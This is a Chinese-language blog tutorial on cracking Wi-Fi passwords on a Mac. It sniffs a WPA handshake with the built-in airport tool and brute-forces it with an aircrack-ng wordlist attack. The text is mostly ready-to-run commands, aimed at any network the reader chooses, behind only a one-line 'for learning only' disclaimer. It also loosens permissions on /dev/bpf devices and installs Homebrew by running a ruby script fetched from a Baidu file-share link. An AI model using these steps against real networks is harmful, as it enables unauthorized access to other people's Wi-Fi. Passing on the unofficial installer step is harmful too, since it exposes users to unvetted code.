用Mac自带的airport抓包以及用aircrack-ng进行Wi-Fi密码破解

用Mac自带的airport抓包以及用aircrack-ng进行Wi-Fi密码破解

电脑配置

MacAir 2015年款
版本：10.15.2
内存：8g
Mac上需要Xcode，提前安装Xcode会为我们解决很多不必要的麻烦，如果提示版本低无法安装，直接在App store中搜索macOS Mojave（这个版本是14）下载安装即可。

声明：本文章只供学习使用，请勿用做非法用途
本人菜鸟，看了很多文章，为大家总结一下，欢迎指教，只为和大家学习交流。

了解一下Mac自带的Wi-Fi工具airport

1. 在终端中输入

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s

此命令主要为了获取ssid bssid ch等信息。

2. 如果你不想每次启用airport时输入一长串的命令 就定义一个alisa吧.

vim ~/.bash_profile

将下面这段话插入进去

alias airport="/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s"

3. 保存并退出vim，如果你不了解vim的使用，可以借阅以下链接
   vi/vim的使用方法
   为了让我们的alias快速生效，我们还需要手动更新一下，在终端中输入以下代码即可生效

source ~/.bashrc

再之后 你不需要输入一长串的命令，直接输入airport就可以得到周围Wi-Fi的信息为下一步的抓包准备了。

为你的Mac安装aircrack-ng

1. 在这之前我搜索了很多文章都推荐用Macports来安装aircrack-ng但是我尝试多次始终报错，就采取了homebrew来安装aircrack-ng如果你和我一样报错，那就用brew来安装吧

Homebrew的安装下载以下文件到你的Mac电脑中，

连接：链接：https://pan.baidu.com/s/1eRqswzRXeARginnEPtsK8Q
提取码：rxit

在终端中运行以下命令

ruby /Users/你自己的用户名/Downloads/brew_install.rb

我已经安装过了就不再安装了，接下来你可能需要等待10分钟左右，判断你的Homebrew是否安装完成输入brew -v即可，输入后他将显示版本号等信息，说明你安装成功了。

安装aircrack-ng

1. 上面已经安装好了Homebrew直接运行以下命令即可安装aircrack-ng，接下来就让我们的brew来为我们安装aircrack-ng吧

brew install aircrack-ng

接下来开始等待brew来为我们安装吧。

好了，一切准备就绪，开工！

1. 终端中输入airport（前面已经定义了alias了）

airport

看ssid列找到你想要的破解的Wi-Fi名称，并记录ch信道下的数字。

2. 开始用你的网卡进行监听并获取握手包，假如我们想要监听Wi-Fi他的信道是40，就输入以下命令 （en0是你的网卡名称，可通过ifconfig获取这里不再叙述了，一般都是en0）

airport en0 sniff 40

此时我们需要等待抓包，当然他可能会提示你
Could not open device en0 (en0: You don’t have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).
处理方法：

cd /dev
ls -la | grep bp

whoami   //查看当前的用户名
sudo chown 上面看到的用户名:admin bp*

3. 权限问题都可用此方法处理，至此，处理了网卡权限不足问题，回归到前面，继续输入抓包命令

airport en0 sniff 40

4. 开始监听的时候你的Wi-Fi图标会变成一个眼睛以及终端的提醒
   Capturing 802.11 frames on en0.
   
5. 通常我们监听的时间会持续5到十分钟，结束监听的命令
   control+c
   结束后，会提醒我们**.cap**文件保存的位置，
6. 打开访达（finder）按shift+command+g出现搜索框，键入/tmp到达文件存放的位置
   
   进入后我们会看到刚才的那个.cap文件
   
   好了 我们已经找到这个文件了，输入下面的代码，看是否含有密码信息

sudo aircrack-ng /tmp/airportSniffTRT4xj.cap

WPA (0 handshake)里面的0代表失败，1代表成功，我们要找到带有1的哪一行，可以直接搜索command+f

我们可以找到第1562行抓取成功，好了接下来就让我们开始尝试米密码破解吧

尝试Wi-Fi密码破解

1. 先进入我们密码文本存放的位置，假如在你的桌面上有个存放密码的文件夹WiFi，那就输入以下命令

cd ～/Desktop/wifi

2. 再使用aircrack-ng进行破解，输入以下命令

sudo aircrack-ng -w 123.txt /tmp/*.cap

在这里输入刚才有**WPA (1 handshake)**这一行，我的是1562行，开始尝试破解。

可以看到很快就破解了这个弱密码1234567890，当然这是在运气很好的情况下，如果你的字典很弱，你需要收集很多字典来为你的渗透做准备